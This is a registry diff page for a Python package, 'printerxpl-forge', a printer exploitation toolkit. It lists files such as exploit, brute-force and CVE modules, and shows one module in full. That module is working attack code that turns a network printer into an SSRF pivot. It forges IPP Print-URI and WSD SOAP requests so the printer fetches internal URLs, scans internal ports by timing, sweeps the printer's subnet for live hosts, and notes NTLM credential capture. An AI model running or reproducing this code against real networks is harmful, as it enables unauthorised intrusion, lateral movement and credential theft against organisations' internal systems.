printerxpl-forge 6.2.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (97) hide show
  1. nse/README.md +204 -0
  2. nse/__init__.py +6 -0
  3. nse/install_nse.py +412 -0
  4. nse/lib/printerxpl.lua +238 -0
  5. nse/scripts/cups-info.nse +74 -0
  6. nse/scripts/cups-queue-info.nse +43 -0
  7. nse/scripts/hp-printers-cve-2022-1026.nse +121 -0
  8. nse/scripts/http-device-mac.nse +107 -0
  9. nse/scripts/http-hp-ilo-info.nse +121 -0
  10. nse/scripts/http-info-xerox-enum.nse +101 -0
  11. nse/scripts/http-vuln-cve2022-1026.nse +158 -0
  12. nse/scripts/lexmark-config.nse +89 -0
  13. nse/scripts/pjl-ready-message.nse +106 -0
  14. nse/scripts/printer-banner.nse +217 -0
  15. nse/scripts/printer-cups-rce.nse +189 -0
  16. nse/scripts/printer-cve-detect.nse +279 -0
  17. nse/scripts/printer-discover.nse +205 -0
  18. nse/scripts/printer-firmware-exposed.nse +219 -0
  19. nse/scripts/printer-hp-pjl.nse +192 -0
  20. nse/scripts/printer-http-ews.nse +293 -0
  21. nse/scripts/printer-ipp-info.nse +235 -0
  22. nse/scripts/printer-lexmark-ipp.nse +203 -0
  23. nse/scripts/printer-passback.nse +204 -0
  24. nse/scripts/printer-pjl-info.nse +146 -0
  25. nse/scripts/printer-printnightmare.nse +211 -0
  26. nse/scripts/printer-snmp-info.nse +176 -0
  27. nse/scripts/printer-vuln-check.nse +256 -0
  28. nse/scripts/snmp-device-mac.nse +93 -0
  29. nse/scripts/snmp-info.nse +146 -0
  30. nse/scripts/snmp-sysdescr.nse +70 -0
  31. printerxpl_forge-6.2.0.dist-info/METADATA +919 -0
  32. printerxpl_forge-6.2.0.dist-info/RECORD +97 -0
  33. printerxpl_forge-6.2.0.dist-info/WHEEL +5 -0
  34. printerxpl_forge-6.2.0.dist-info/entry_points.txt +4 -0
  35. printerxpl_forge-6.2.0.dist-info/licenses/LICENSE +21 -0
  36. printerxpl_forge-6.2.0.dist-info/top_level.txt +4 -0
  37. src/assets/fonts/gunplay.pfa +1671 -0
  38. src/assets/fonts/kshandwrt.pfa +315 -0
  39. src/assets/fonts/laksoner.pfa +2402 -0
  40. src/assets/fonts/paintcans.pfa +9699 -0
  41. src/assets/fonts/stencilod.pfa +4076 -0
  42. src/assets/fonts/takecover.pfa +26138 -0
  43. src/assets/fonts/topsecret.pfa +6652 -0
  44. src/assets/fonts/whoa.pfa +773 -0
  45. src/assets/mibs/HOST-RESOURCES-MIB +1540 -0
  46. src/assets/mibs/Printer-MIB +4389 -0
  47. src/assets/mibs/README.md +9 -0
  48. src/assets/mibs/SNMPv2-MIB +854 -0
  49. src/assets/overlays/hacker.eps +596 -0
  50. src/assets/overlays/smiley.eps +214 -0
  51. src/assets/overlays/smiley2.eps +240 -0
  52. src/core/attack_orchestrator.py +1025 -0
  53. src/core/capabilities.py +323 -0
  54. src/core/destructive_audit.py +430 -0
  55. src/core/discovery.py +488 -0
  56. src/core/osdetect.py +74 -0
  57. src/core/poly_runner.py +579 -0
  58. src/core/printer.py +1426 -0
  59. src/main.py +2134 -0
  60. src/modules/install_printer.py +318 -0
  61. src/modules/login_bruteforce.py +852 -0
  62. src/modules/pcl.py +506 -0
  63. src/modules/pjl.py +3575 -0
  64. src/modules/print_job.py +1290 -0
  65. src/modules/ps.py +1102 -0
  66. src/payloads/__init__.py +98 -0
  67. src/payloads/assets/overlays/notice.eps +9 -0
  68. src/protocols/__init__.py +19 -0
  69. src/protocols/firmware.py +738 -0
  70. src/protocols/ipp.py +216 -0
  71. src/protocols/ipp_attacks.py +609 -0
  72. src/protocols/lpd.py +141 -0
  73. src/protocols/network_map.py +1004 -0
  74. src/protocols/raw.py +173 -0
  75. src/protocols/smb.py +359 -0
  76. src/protocols/ssrf_pivot.py +427 -0
  77. src/protocols/storage.py +587 -0
  78. src/ui/__init__.py +6 -0
  79. src/ui/interactive.py +742 -0
  80. src/ui/spinner.py +112 -0
  81. src/ui/tables.py +132 -0
  82. src/utils/banner_grabber.py +852 -0
  83. src/utils/codebook.py +456 -0
  84. src/utils/config.py +522 -0
  85. src/utils/cve_loader.py +158 -0
  86. src/utils/default_creds.py +134 -0
  87. src/utils/discovery_online.py +1327 -0
  88. src/utils/exploit_manager.py +805 -0
  89. src/utils/fuzzer.py +220 -0
  90. src/utils/helper.py +732 -0
  91. src/utils/local_printers.py +307 -0
  92. src/utils/ml_engine.py +491 -0
  93. src/utils/operators.py +474 -0
  94. src/utils/ports.py +234 -0
  95. src/utils/vuln_scanner.py +823 -0
  96. src/utils/wordlist_loader.py +412 -0
  97. src/version.py +36 -0
@@ -0,0 +1,427 @@
1
+ #!/usr/bin/env python3
2
+ # -*- coding: utf-8 -*-
3
+ """
4
+ PrinterXPL-Forge — SSRF Pivot / Lateral Movement Module
5
+ ======================================================
6
+ Uses the printer as a network pivot point to:
7
+ 1. Probe internal hosts/ports the attacker cannot reach directly
8
+ 2. Exfiltrate data by instructing the printer to fetch internal URLs
9
+ 3. Identify alive hosts and open services on the internal LAN
10
+ 4. Use WSD (Web Services for Devices) SOAP for SSRF
11
+ 5. Use IPP print-by-reference (fetch document from internal URL)
12
+ 6. Use HTTP redirect in printer web interface for SSRF
13
+
14
+ Attack chain:
15
+ Attacker → Printer (accessible) → Internal target (not accessible directly)
16
+ [SSRF vector]
17
+
18
+ Vectors implemented:
19
+ A. IPP print-by-reference — printer fetches URL as print job data
20
+ B. WSD SOAP SSRF — SOAP GET to arbitrary internal host
21
+ C. Web UI SSRF — some printers accept internal URLs for scan-to-email
22
+ D. Timed SSRF port scanner — measure response time to infer port open/closed
23
+ E. DNS rebinding helper — generate payload for time-of-check attacks
24
+ """
25
+
26
+ # Author : Andre Henrique (@mrhenrike)
27
+ # GitHub : https://github.com/mrhenrike
28
+ # LinkedIn : https://linkedin.com/in/mrhenrike
29
+ # X/Twitter : https://x.com/mrhenrike
30
+
31
+ from __future__ import annotations
32
+
33
+ import logging
34
+ import socket
35
+ import struct
36
+ import time
37
+ from concurrent.futures import ThreadPoolExecutor, as_completed
38
+ from typing import Dict, List, Optional, Tuple
39
+
40
+ import requests
41
+ import urllib3
42
+
43
+ urllib3.disable_warnings()
44
+
45
+ _log = logging.getLogger(__name__)
46
+
47
+
48
+ # ── SSRF result dataclass ──────────────────────────────────────────────────────
49
+
50
+ class PortState:
51
+ OPEN = 'open'
52
+ CLOSED = 'closed'
53
+ FILTERED = 'filtered'
54
+ UNKNOWN = 'unknown'
55
+
56
+
57
+ # ── A. IPP print-by-reference SSRF ───────────────────────────────────────────
58
+
59
+ def ipp_fetch_url(
60
+ printer_host: str,
61
+ printer_port: int,
62
+ printer_path: str,
63
+ target_url: str,
64
+ scheme: str = 'https',
65
+ timeout: float = 15,
66
+ dry_run: bool = True,
67
+ ) -> Dict:
68
+ """
69
+ Use IPP Print-URI (op 0x0003) to instruct the printer to fetch *target_url*.
70
+
71
+ The printer will make an outbound HTTP/HTTPS request to *target_url* and
72
+ attempt to print the response. The attacker can:
73
+ - Host a listener to capture the request (confirms SSRF)
74
+ - Point to internal services to exfiltrate their HTTP responses
75
+ (via error messages in IPP response or timing)
76
+ - Point to an NTLM endpoint for credential capture
77
+
78
+ Args:
79
+ target_url: URL the printer should fetch (e.g. http://192.168.1.1:8080/).
80
+ dry_run: If True, cancel the job immediately after submission.
81
+
82
+ Returns:
83
+ dict with keys: submitted, status_code, response_hints, timing_ms.
84
+ """
85
+ import struct as _s
86
+
87
+ result = {
88
+ 'vector': 'IPP print-by-reference',
89
+ 'target_url': target_url,
90
+ 'submitted': False,
91
+ 'status_code': None,
92
+ 'response_hints': [],
93
+ 'timing_ms': None,
94
+ }
95
+
96
+ printer_uri = f"ipp://{printer_host}{printer_path}"
97
+
98
+ def _attr(tag, name, value):
99
+ nb = name.encode()
100
+ vb = value.encode() if isinstance(value, str) else value
101
+ return bytes([tag]) + _s.pack('>H', len(nb)) + nb + _s.pack('>H', len(vb)) + vb
102
+
103
+ body = b'\x01\x01'
104
+ body += _s.pack('>H', 0x0003) # Print-URI
105
+ body += _s.pack('>I', 1)
106
+ body += b'\x01'
107
+ body += _attr(0x47, 'attributes-charset', 'utf-8')
108
+ body += _attr(0x48, 'attributes-natural-language', 'en')
109
+ body += _attr(0x45, 'printer-uri', printer_uri)
110
+ body += _attr(0x45, 'document-uri', target_url) # fetch this URL
111
+ body += _attr(0x44, 'document-format', 'application/octet-stream')
112
+ body += _attr(0x42, 'job-name', 'pivot-test')
113
+ body += b'\x03'
114
+
115
+ t0 = time.monotonic()
116
+ try:
117
+ r = requests.post(
118
+ f"{scheme}://{printer_host}:{printer_port}{printer_path}",
119
+ data=body,
120
+ headers={'Content-Type': 'application/ipp'},
121
+ timeout=timeout, verify=False,
122
+ )
123
+ elapsed_ms = round((time.monotonic() - t0) * 1000)
124
+ result['timing_ms'] = elapsed_ms
125
+ result['status_code'] = r.status_code
126
+
127
+ if r.status_code in (200, 400):
128
+ status_word = struct.unpack('>H', r.content[2:4])[0] if len(r.content) >= 4 else 0
129
+ result['submitted'] = status_word < 0x0400
130
+
131
+ # Extract any error messages that might reveal internal host state
132
+ text = r.content.decode('latin-1', errors='replace')
133
+ for hint in ['connection refused', 'no route', 'timeout',
134
+ 'connect', 'error', 'unreachable', 'refused']:
135
+ if hint.lower() in text.lower():
136
+ result['response_hints'].append(hint)
137
+
138
+ except requests.Timeout:
139
+ result['timing_ms'] = int((time.monotonic() - t0) * 1000)
140
+ result['response_hints'].append('timeout — target may be alive (filtered)')
141
+ except Exception as exc:
142
+ result['response_hints'].append(str(exc)[:60])
143
+
144
+ return result
145
+
146
+
147
+ # ── B. WSD SOAP SSRF ──────────────────────────────────────────────────────────
148
+
149
+ def wsd_soap_ssrf(
150
+ printer_host: str,
151
+ target_host: str,
152
+ target_port: int = 80,
153
+ target_path: str = '/',
154
+ timeout: float = 8,
155
+ ) -> Dict:
156
+ """
157
+ Craft a WSD (Web Services for Devices) SOAP request where the printer
158
+ will forward a SOAP Get to *target_host:target_port*.
159
+
160
+ The printer's WSD service acts as an unintended HTTP proxy.
161
+ Observing response timing and error codes reveals:
162
+ - Whether the internal host is alive
163
+ - Whether the port is open or closed
164
+ """
165
+ import uuid as _uuid
166
+
167
+ result = {
168
+ 'vector': 'WSD SOAP SSRF',
169
+ 'target': f'http://{target_host}:{target_port}{target_path}',
170
+ 'alive': None,
171
+ 'timing_ms': None,
172
+ 'hints': [],
173
+ }
174
+
175
+ soap = f"""<?xml version="1.0" encoding="utf-8"?>
176
+ <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"
177
+ xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
178
+ xmlns:w="http://schemas.xmlsoap.org/ws/2004/09/transfer">
179
+ <s:Header>
180
+ <a:To>http://{target_host}:{target_port}{target_path}</a:To>
181
+ <a:Action>http://schemas.xmlsoap.org/ws/2004/09/transfer/Get</a:Action>
182
+ <a:MessageID>urn:uuid:{_uuid.uuid4()}</a:MessageID>
183
+ <a:ReplyTo>
184
+ <a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
185
+ </a:ReplyTo>
186
+ </s:Header>
187
+ <s:Body/>
188
+ </s:Envelope>"""
189
+
190
+ for wsd_path in ('/WSD/DEVICE', '/wsd/device'):
191
+ try:
192
+ t0 = time.monotonic()
193
+ r = requests.post(
194
+ f'http://{printer_host}{wsd_path}',
195
+ data=soap.encode(),
196
+ headers={'Content-Type': 'application/soap+xml; charset=utf-8',
197
+ 'SOAPAction': '""'},
198
+ timeout=timeout,
199
+ )
200
+ elapsed = round((time.monotonic() - t0) * 1000)
201
+ result['timing_ms'] = elapsed
202
+ result['alive'] = True
203
+ text = r.text.lower()
204
+ for h in ['error', 'unreachable', 'refused', 'connect', 'timeout']:
205
+ if h in text:
206
+ result['hints'].append(h)
207
+ break
208
+ except requests.Timeout:
209
+ result['timing_ms'] = timeout * 1000
210
+ result['hints'].append('printer WSD timed out (or WSD not available)')
211
+ except Exception as exc:
212
+ result['hints'].append(str(exc)[:60])
213
+
214
+ return result
215
+
216
+
217
+ # ── C. Timed SSRF port scanner ────────────────────────────────────────────────
218
+
219
+ def ssrf_port_scan(
220
+ printer_host: str,
221
+ printer_port: int,
222
+ printer_path: str,
223
+ target_host: str,
224
+ ports: List[int] = None,
225
+ scheme: str = 'https',
226
+ timeout: float = 6,
227
+ workers: int = 5,
228
+ verbose: bool = True,
229
+ ) -> Dict[int, str]:
230
+ """
231
+ Scan internal ports via IPP print-by-reference SSRF timing analysis.
232
+
233
+ Method:
234
+ - Open port → printer establishes TCP connection → response < timeout
235
+ - Closed port → printer gets TCP RST immediately → response in ~100ms
236
+ - Filtered → printer times out → response ≈ timeout
237
+
238
+ Args:
239
+ target_host: Internal IP to scan (unreachable from attacker directly).
240
+ ports: Ports to test (default: common service ports).
241
+
242
+ Returns:
243
+ dict {port: state} where state is 'open'|'closed'|'filtered'.
244
+ """
245
+ if ports is None:
246
+ ports = [21, 22, 23, 25, 53, 80, 110, 135, 139, 143, 389,
247
+ 443, 445, 3306, 3389, 5432, 8080, 8443, 9100, 27017]
248
+
249
+ results: Dict[int, str] = {}
250
+
251
+ def _probe(port: int) -> Tuple[int, str]:
252
+ target_url = f"http://{target_host}:{port}/"
253
+ res = ipp_fetch_url(
254
+ printer_host, printer_port, printer_path,
255
+ target_url, scheme=scheme, timeout=timeout, dry_run=True,
256
+ )
257
+ ms = res.get('timing_ms') or timeout * 1000
258
+
259
+ if ms < timeout * 300: # responded fast → RST (closed) or data (open)
260
+ if res['submitted']:
261
+ return port, PortState.OPEN
262
+ elif 'refused' in ' '.join(res['response_hints']).lower():
263
+ return port, PortState.CLOSED
264
+ else:
265
+ return port, PortState.OPEN
266
+ elif ms >= timeout * 900: # close to timeout → filtered
267
+ return port, PortState.FILTERED
268
+ else:
269
+ return port, PortState.UNKNOWN
270
+
271
+ if verbose:
272
+ print(f" [SSRF] Port scanning {target_host} via printer {printer_host} "
273
+ f"({len(ports)} ports) ...")
274
+
275
+ with ThreadPoolExecutor(max_workers=workers) as ex:
276
+ futures = {ex.submit(_probe, p): p for p in ports}
277
+ for f in as_completed(futures):
278
+ port, state = f.result()
279
+ results[port] = state
280
+ if verbose and state in (PortState.OPEN,):
281
+ print(f" [SSRF] {target_host}:{port:5d} \033[1;32mOPEN\033[0m")
282
+
283
+ return results
284
+
285
+
286
+ # ── D. Internal network host discovery ────────────────────────────────────────
287
+
288
+ def discover_internal_hosts(
289
+ printer_host: str,
290
+ printer_port: int,
291
+ printer_path: str,
292
+ subnet: str = None,
293
+ scheme: str = 'https',
294
+ timeout: float = 4,
295
+ probe_port: int = 80,
296
+ verbose: bool = True,
297
+ ) -> List[str]:
298
+ """
299
+ Probe each host in *subnet* for a single *probe_port* to identify alive hosts.
300
+
301
+ If *subnet* is None, it is derived from the printer's own IP (e.g. 192.168.0.0/24).
302
+
303
+ Returns list of likely-alive internal IP addresses.
304
+ """
305
+ if subnet is None:
306
+ parts = printer_host.rsplit('.', 1)
307
+ if len(parts) == 2:
308
+ subnet = parts[0] + '.0/24'
309
+
310
+ # Parse subnet
311
+ try:
312
+ base, bits = subnet.split('/')
313
+ base_parts = list(map(int, base.split('.')))
314
+ host_count = 2 ** (32 - int(bits)) - 2
315
+ first_host = base_parts[:3] + [base_parts[3] + 1]
316
+ except Exception:
317
+ _log.warning("Cannot parse subnet %r — using /24 from printer IP", subnet)
318
+ parts = printer_host.rsplit('.', 1)
319
+ first_host = list(map(int, parts[0].split('.'))) + [1]
320
+ host_count = 254
321
+
322
+ alive = []
323
+ if verbose:
324
+ print(f" [PIVOT] Probing {subnet or printer_host+'.0/24'} "
325
+ f"via printer SSRF (port {probe_port}) ...")
326
+
327
+ def _check(ip: str) -> Optional[str]:
328
+ if ip == printer_host:
329
+ return None
330
+ target_url = f"http://{ip}:{probe_port}/"
331
+ res = ipp_fetch_url(
332
+ printer_host, printer_port, printer_path,
333
+ target_url, scheme=scheme, timeout=timeout, dry_run=True,
334
+ )
335
+ ms = res.get('timing_ms') or timeout * 1000
336
+ # Fast response → host likely alive (RST or actual data)
337
+ if ms < timeout * 400:
338
+ return ip
339
+ return None
340
+
341
+ # Generate IP list
342
+ ips = []
343
+ for i in range(1, min(host_count + 1, 255)):
344
+ ip_parts = first_host[:3] + [first_host[3] - 1 + i]
345
+ if all(0 <= p <= 255 for p in ip_parts):
346
+ ips.append('.'.join(map(str, ip_parts)))
347
+
348
+ with ThreadPoolExecutor(max_workers=10) as ex:
349
+ futures = {ex.submit(_check, ip): ip for ip in ips}
350
+ for f in as_completed(futures):
351
+ result = f.result()
352
+ if result:
353
+ alive.append(result)
354
+ if verbose:
355
+ print(f" [PIVOT] \033[1;32m{result}\033[0m likely alive")
356
+
357
+ return sorted(alive)
358
+
359
+
360
+ # ── E. Full pivot audit ────────────────────────────────────────────────────────
361
+
362
+ def pivot_audit(
363
+ printer_host: str,
364
+ printer_port: int = 631,
365
+ printer_path: str = '/ipp/print',
366
+ scheme: str = 'https',
367
+ timeout: float = 10,
368
+ verbose: bool = True,
369
+ ) -> Dict:
370
+ """
371
+ Run a complete pivot/lateral-movement assessment using the printer as proxy.
372
+
373
+ Checks:
374
+ 1. IPP print-by-reference SSRF capability
375
+ 2. WSD SOAP SSRF capability
376
+ 3. Internal network host discovery (printer's subnet)
377
+ 4. Gateway and common internal services
378
+
379
+ Returns structured results.
380
+ """
381
+ results = {
382
+ 'printer': printer_host,
383
+ 'ssrf_ipp': None,
384
+ 'ssrf_wsd': None,
385
+ 'internal_hosts': [],
386
+ 'gateway_probe': None,
387
+ 'risk': [],
388
+ }
389
+
390
+ if verbose:
391
+ print(f"\n [PIVOT] Lateral movement assessment via {printer_host}")
392
+
393
+ # 1. IPP SSRF — probe localhost (printer itself)
394
+ local_res = ipp_fetch_url(
395
+ printer_host, printer_port, printer_path,
396
+ 'http://127.0.0.1:80/', scheme=scheme, timeout=timeout, dry_run=True,
397
+ )
398
+ results['ssrf_ipp'] = local_res
399
+ if local_res['submitted']:
400
+ results['risk'].append('IPP_SSRF_CAPABLE')
401
+ if verbose:
402
+ print(f" [PIVOT] \033[1;31m[VULN]\033[0m IPP print-by-reference SSRF confirmed")
403
+ print(f" Printer fetched http://127.0.0.1:80/ — "
404
+ f"timing={local_res['timing_ms']}ms")
405
+
406
+ # 2. WSD SSRF — probe a well-known internal address
407
+ gateway = printer_host.rsplit('.', 1)[0] + '.1'
408
+ wsd_res = wsd_soap_ssrf(printer_host, gateway, 80, '/', timeout)
409
+ results['ssrf_wsd'] = wsd_res
410
+ results['gateway_probe'] = gateway
411
+ if wsd_res['alive'] or (wsd_res['timing_ms'] and wsd_res['timing_ms'] < 3000):
412
+ results['risk'].append('WSD_SSRF_CAPABLE')
413
+ if verbose:
414
+ print(f" [PIVOT] WSD SOAP responded — gateway {gateway} probed "
415
+ f"(timing={wsd_res['timing_ms']}ms)")
416
+
417
+ # 3. Discover alive hosts in the same /24
418
+ if 'IPP_SSRF_CAPABLE' in results['risk']:
419
+ alive = discover_internal_hosts(
420
+ printer_host, printer_port, printer_path, scheme=scheme,
421
+ timeout=max(timeout / 2, 3), verbose=verbose,
422
+ )
423
+ results['internal_hosts'] = alive
424
+ if alive:
425
+ results['risk'].append(f'INTERNAL_HOSTS_FOUND:{len(alive)}')
426
+
427
+ return results